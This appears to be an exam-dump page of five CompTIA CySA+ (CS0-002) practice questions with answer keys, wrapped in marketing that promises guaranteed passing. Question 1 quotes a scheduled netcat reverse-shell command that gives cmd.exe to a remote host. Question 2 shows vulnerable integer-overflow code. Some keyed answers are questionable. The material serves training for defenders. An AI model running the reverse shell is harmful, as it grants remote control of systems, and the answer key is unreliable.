CS0-002 Q&As

CompTIA Cybersecurity Analyst (CySA+)

Pass CompTIA CS0-002 Exam with 100% Guarantee

Free Download Real Questions & Answers **PDF** and **VCE** file from:

https://www.passapply.com/cs0-002.html

100% Passing Guarantee
100% Money Back Assurance

Following Questions and Answers are all new published by CompTIA Official Exam Center

QUESTION 1

A cybersecurity analyst is retained by a firm for an open investigation. Upon arrival, the cybersecurity analyst reviews several security logs. Given the following snippet of code:

```
sc config schedule start auto
net start schedule
at 13:30 ""C:\nc.exe 192.168.0.101 777 -e cmd.exe ""
```

Which of the following combinations BEST describes the situation and recommendations to be made for this situation?

A. The cybersecurity analyst has discovered host 192.168.0.101 using Windows Task Scheduler at 13:30 to runnc.exe; recommend proceeding with the next step of removing the host from the network.

B. The cybersecurity analyst has discovered host 192.168.0.101 to be running thenc.exe file at 13:30 using the auto cron job remotely, there are no recommendations since this is not a threat currently.

C. The cybersecurity analyst has discovered host 192.168.0.101 is beaconing every day at 13:30 using thenc.exe file; recommend proceeding with the next step of removing the host from the network.

D. The security analyst has discovered host 192.168.0.101 is a rogue device on the network, recommend proceeding with the next step of removing the host from the network.

Correct Answer: A

QUESTION 2

A security analyst found an old version of OpenSSH running on a DMZ server and determined the following piece of code could have led to a command execution through an integer overflow;

```
nresp = packet_get_inf();
if (nresp > 0) {
    response = xmalloc(nresp*sizeof(char*));
    for (i = 0; i < nresp; i++)
      response[i] = packet_get_string(NULL);
}
```

Which of the following controls must be in place to prevent this vulnerability?

A. Convert all integer numbers in strings to handle the memory buffer correctly.

B. Implement float numbers instead of integers to prevent integer overflows.

C. Use built-in functions from libraries to check and handle long numbers properly.

D. Sanitize user inputs, avoiding small numbers that cannot be handled in the memory.

Correct Answer: C

QUESTION 3

A security analyst observes a large amount of scanning activity coming from an IP address outside the organization\\'s environment. Which of the following should the analyst do to block this activity?

A. Create an IPS rule to block the subnet.

B. Sinkhole the IP address.

C. Create a firewall rule to block the IP address.

D. Close all unnecessary open ports.

Correct Answer: C

QUESTION 4

While reviewing a vulnerability assessment, an analyst notices the following issue is identified in the report:

```
The following certificates are part of the certificate chain but using insecure signature algorithms:
Subject: CN=10.200.20.1,OU=HTTPS Management Certificate for SonicWALL (self-
-signed),O=HTTPS Management Certificate for SonicWALL (self-signed),L=Sunnyvale,ST=Califor-
nia,C=US
Signature Algorithm: sha1WithRSAEncryption
```

To address this finding, which of the following would be most appropriate for the analyst to recommend to the network engineer?

A. Reconfigure the device to support only connections leveraging TLSv1.2.

B. Obtain a new self-signed certificate and select AES as the hashing algorithm.

C. Replace the existing certificate with a certificate that uses only MDS for signing.

D. Use only signed certificates with cryptographically secure certificate sources.

Correct Answer: D

QUESTION 5

During a review of the vulnerability scan results on a server, an information security analyst notices the following:

```
'Vulnerable' cipher suites accepted by this service via the TLSv1.0 protocol:
TLS_RSA_WITH_3DES_EDE_CBC_SHA (SWEET32)
'Vulnerable' cipher suites accepted by this service via the TLSv1.1 protocol:
TLS_RSA_WITH 3DES_EDE_CBC_SHA (SWEET32)
'Vulnerable' cipher suites accepted by this service via the TLSv1.2 protocol:
TLS_RSA_WITH_3DES_EDE_CBC_SHA (SWEET32)
```

The MOST appropriate action for the analyst to recommend to developers is to change the web server so:

A. It only accepts TLSvl 2

B. It only accepts cipher suites using AES and SHA

C. It no longer accepts the vulnerable cipher suites

D. SSL/TLS is offloaded to a WAF and load balancer

Correct Answer: C